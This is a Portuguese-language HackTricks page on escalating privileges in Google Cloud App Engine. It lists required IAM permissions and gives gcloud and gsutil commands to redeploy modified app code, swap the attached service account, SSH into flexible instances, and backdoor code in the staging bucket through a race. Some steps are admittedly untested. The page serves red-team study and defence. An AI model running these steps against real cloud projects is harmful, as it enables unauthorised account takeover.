GCP - AppEngine Privesc

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

App Engine

Para mais informações sobre o App Engine, consulte:

GCP - App Engine Enum

appengine.applications.get, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.operations.list, appengine.services.get, appengine.services.list, appengine.versions.create, appengine.versions.get, appengine.versions.list, cloudbuild.builds.get,iam.serviceAccounts.actAs, resourcemanager.projects.get, storage.objects.create, storage.objects.list

Essas são as permissões necessárias para implantar um App usando gcloud cli. Talvez as permissões get e list possam ser evitadas.

Você pode encontrar exemplos de código em python em https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine

Por padrão, o nome do serviço App será default, e pode haver apenas 1 instância com o mesmo nome.
Para alterá-lo e criar um segundo App, em app.yaml, mude o valor da chave raiz para algo como service: my-second-app

bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder

Dê pelo menos 10-15 minutos, se não funcionar, chame deploy another of times e aguarde alguns minutos.

note

É possível indicar a Conta de Serviço a ser usada, mas por padrão, a SA padrão do App Engine é utilizada.

A URL da aplicação é algo como https://<proj-name>.oa.r.appspot.com/ ou https://<service_name>-dot-<proj-name>.oa.r.appspot.com

Atualizar permissões equivalentes

Você pode ter permissões suficientes para atualizar um AppEngine, mas não para criar um novo. Nesse caso, é assim que você poderia atualizar o App Engine atual:

bash
# Find the code of the App Engine in the buckets
gsutil ls

# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip

## Now modify the code..

## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312

entrypoint: gunicorn -b :\$PORT main:app

env_variables:
A_VARIABLE: "value"
EOF

# Deploy the changes
gcloud app deploy

# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

Se você já comprometeu um AppEngine e tem a permissão appengine.applications.update e actAs sobre a conta de serviço que você poderia modificar a conta de serviço usada pelo AppEngine com:

bash
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

appengine.instances.enableDebug, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.services.get, appengine.services.list, appengine.versions.get, appengine.versions.list, compute.projects.get

Com essas permissões, é possível fazer login via ssh em instâncias do App Engine do tipo flexível (não padrão). Algumas das permissões list e get podem não ser realmente necessárias.

bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>

appengine.applications.update, appengine.operations.get

Eu acho que isso apenas muda a SA de fundo que o Google usará para configurar as aplicações, então não acho que você possa abusar disso para roubar a conta de serviço.

bash
gcloud app update --service-account=<sa_email>

appengine.versions.getFileContents, appengine.versions.update

Não tenho certeza de como usar essas permissões ou se elas são úteis (note que quando você altera o código, uma nova versão é criada, então não sei se você pode apenas atualizar o código ou o papel IAM de um, mas eu acho que você deve ser capaz de, talvez mudando o código dentro do bucket??).

Acesso de Escrita sobre os buckets

Como mencionado, as versões do appengine geram alguns dados dentro de um bucket com o formato nome: staging.<project-id>.appspot.com. Note que não é possível assumir esse bucket antecipadamente porque os usuários do GCP não estão autorizados a gerar buckets usando o nome de domínio appspot.com.

No entanto, com acesso de leitura e escrita sobre esse bucket, é possível escalar privilégios para o SA anexado à versão do AppEngine monitorando o bucket e, a qualquer momento que uma alteração for realizada, modificar o código o mais rápido possível. Dessa forma, o contêiner que é criado a partir desse código executará o código com backdoor.

Para mais informações e um PoC, verifique as informações relevantes desta página:

GCP - Storage Privesc

Acesso de Escrita sobre o Registro de Artefatos

Embora o App Engine crie imagens docker dentro do Registro de Artefatos. Foi testado que mesmo que você modifique a imagem dentro deste serviço e remova a instância do App Engine (para que uma nova seja implantada), o código executado não muda.
Pode ser possível que, realizando um ataque de Condição de Corrida como com os buckets, pode ser possível sobrescrever o código executado, mas isso não foi testado.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks